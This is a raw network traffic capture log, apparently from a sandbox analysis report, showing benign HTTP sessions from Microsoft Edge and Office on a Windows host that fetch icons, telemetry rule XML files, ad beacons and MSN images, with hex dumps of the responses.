2024-11-23 23:06:56 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:56 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:56 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 3a2cfd47-101e-0073-16d6-3d18c4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T230656Z-178bfbc474bpnd5vhC1NYC4vr4000000050000000000ns37 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 23:06:56 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49918	13.107.246.40	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:56 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:56 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:56 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 32bf6d64-901e-000f-17ea-3d85f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T230656Z-15b8b599d88z9sc7hC1TEBkr4w00000003q000000000cwy1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 23:06:56 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:56 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:57 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 4d626343-d01e-0028-4b44-3c7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230657Z-178bfbc474btrnf9hC1NYCb80g00000005ag000000005k6x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:57 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49921	108.156.120.98	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:57 UTC	1012	OUT	GET /b2?rn=1732403212055&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09EFB3CBA8B66A3233B2A68BA9AF6B45&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1C31cb9d97c32c5d4b77ae21732403215; XID=1C31cb9d97c32c5d4b77ae21732403215
2024-11-23 23:06:57 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Sat, 23 Nov 2024 23:06:57 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 72e84e3a3ff7e64a72c2851921de64ae.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ORD56-P3 X-Amz-Cf-Id: 7PQrpTAY8n5aGlI_PsSVAGTaMy6Lkix45ILqWWxBQjspp7azSDCt7Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:57 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:57 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 14aff01d-f01e-005d-5831-3d13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230657Z-174c587ffdfx984chC1TEB676g00000003hg00000000f347 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:57 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49922	20.75.60.91	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:57 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=09EFB3CBA8B66A3233B2A68BA9AF6B45&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=8355917d9efb42e1cc068df97e9e0b31 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09EFB3CBA8B66A3233B2A68BA9AF6B45; _EDGE_S=F=1&SID=1FF55F8CADA865E03E434ACCAC756444; _EDGE_V=1
2024-11-23 23:06:57 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2731 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132518-T700343875-C128000000002115749+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002115749+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 23:06:57 GMT Connection: close
2024-11-23 23:06:57 UTC	2731	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 53 6f 73 73 75 73 76 6c 65 69 2c 20 4e 61 6d 69 62 69 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 53 6f 73 73 75 73 76 6c 65 69 25 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Sossusvlei, Namibia\",\"cta\":\"https:\/\/www.bing.com\/search?q=Sossusvlei%

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:57 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:58 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c1df62f0-301e-0099-5a1b-3d6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230658Z-178bfbc474bwlrhlhC1NYCy3kg000000053g00000000b7gm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:58 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:57 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:58 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 6b04d5e8-e01e-000c-65ad-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230658Z-174c587ffdfcb7qhhC1TEB3x7000000003q0000000009rw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:58 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:58 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:58 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 28a3992e-001e-0028-777f-3bc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230658Z-174c587ffdf8lw6dhC1TEBkgs800000003h000000000hvsm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 23:06:58 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49935	104.117.182.25	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:59 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:59 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO4 Last-Modified: Sun, 17 Nov 2024 18:32:54 GMT X-Source-Length: 79668 X-Datacenter: westus X-ActivityId: 0a66f746-8b2f-4450-a7cf-b2fcc1269276 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 79668 Cache-Control: public, max-age=285944 Expires: Wed, 27 Nov 2024 06:32:43 GMT Date: Sat, 23 Nov 2024 23:06:59 GMT Connection: close
2024-11-23 23:06:59 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 23:06:59 UTC	16384	IN	Data Raw: 79 75 9f 13 51 d2 12 eb 7e 23 c4 a5 d2 c6 3c ca 88 5d b5 64 eb 4e de b3 e3 23 67 48 4a 39 f1 8c f9 d6 b0 67 1f c5 c4 a8 d7 a6 94 ed eb 3e 23 c1 2f 48 76 f1 5b a4 50 c9 48 56 76 f5 6a f7 26 9c dd 48 47 30 a8 d2 87 29 a1 69 05 f2 92 50 f8 2a 9a 46 94 85 32 b0 12 09 0b 13 25 de a4 db 95 94 94 2c 4d 0b 3a d4 8b 25 34 84 94 f2 50 16 a0 8a 99 09 32 10 93 b5 24 ac 42 28 36 25 6f 34 a5 2e 43 85 b1 b0 ad d3 36 6a c7 6a 69 49 bd 6d 28 27 94 e0 4e 09 06 a4 60 05 8b 2d 43 43 53 c0 d8 96 ae c5 95 4a c3 4b 40 37 d0 b4 90 86 41 b1 04 92 16 a2 19 b1 9c ed a5 25 68 41 a5 21 25 6e 99 b1 eb 25 2e 94 15 89 a1 63 4e d0 ac ea 42 5b 1a d3 48 5a 2c 56 12 6b 4f 20 58 b2 8c 03 46 df 3a 96 f7 6c 59 58 25 ac 82 63 57 e1 4b dd f8 56 13 b1 29 29 4b 2d b1 6d 16 24 34 a1 94 d0 1a 5b 67 Data Ascii: yuQ~#<]dN#gHJ9g>#/Hv[PHVvj&HG0)iP*F2%,M:%4P2$B(6%o4.C6jjiIm('N`-CCSJK@7A%hA!%n%.cNB[HZ,VkO XF:lYX%cWKV))K-m$4[g
2024-11-23 23:06:59 UTC	2627	IN	Data Raw: 50 95 dd 14 60 4e f1 e1 2a 56 96 ee f9 e3 ec 57 4e 4d ce e7 3e a1 67 56 6d 6c 73 4f 4d 06 e7 0d d3 e8 82 72 c0 18 f0 0b ae 73 dd 48 35 75 c0 f0 43 d2 30 de 06 ef d4 2d c6 59 71 14 e4 55 da 7c ee 5a 68 f1 5d 2f dd 9c 08 d9 47 b5 02 a3 7e 21 bd 6e c5 39 d3 c3 5f b5 6c ec 3c 54 ad 14 d9 7f 9a 52 e8 de da 63 95 1e ab 57 01 0c bf 61 de 88 d7 7c 44 9f 3e 0a 96 ba b5 20 1e 29 83 a9 c7 9f a4 ad 6c 03 56 1f 03 b8 a1 55 6b bd c8 de 68 e4 88 f2 08 12 09 dc 7c 56 80 d8 a5 8e 3c 07 6a cf 93 48 c7 2c e0 87 55 ed bc 15 d1 ae 00 ff 00 4c 0d e0 f2 13 ea 91 f9 94 7c 91 a8 02 8d 52 a8 26 e7 1b 8d 3e 78 29 8d cc ad 73 4c 59 e3 17 a1 0c b6 b8 7c 8e 3a e6 f4 70 c2 df 94 3f 55 31 ce 61 66 68 8b 24 0a 19 bc d1 da 81 59 d6 36 75 a2 10 e8 98 1b 69 02 ea 71 94 30 1f 64 7e 6e 77 42 Data Ascii: P`N*VWNM>gVmlsOMrsH5uC0-YqU\|Zh]/G~!n9_l<TRcWa\|D> )lVUkh\|V<jH,UL\|R&>x)sLY\|:p?U1afh$Y6uiq0d~nwB
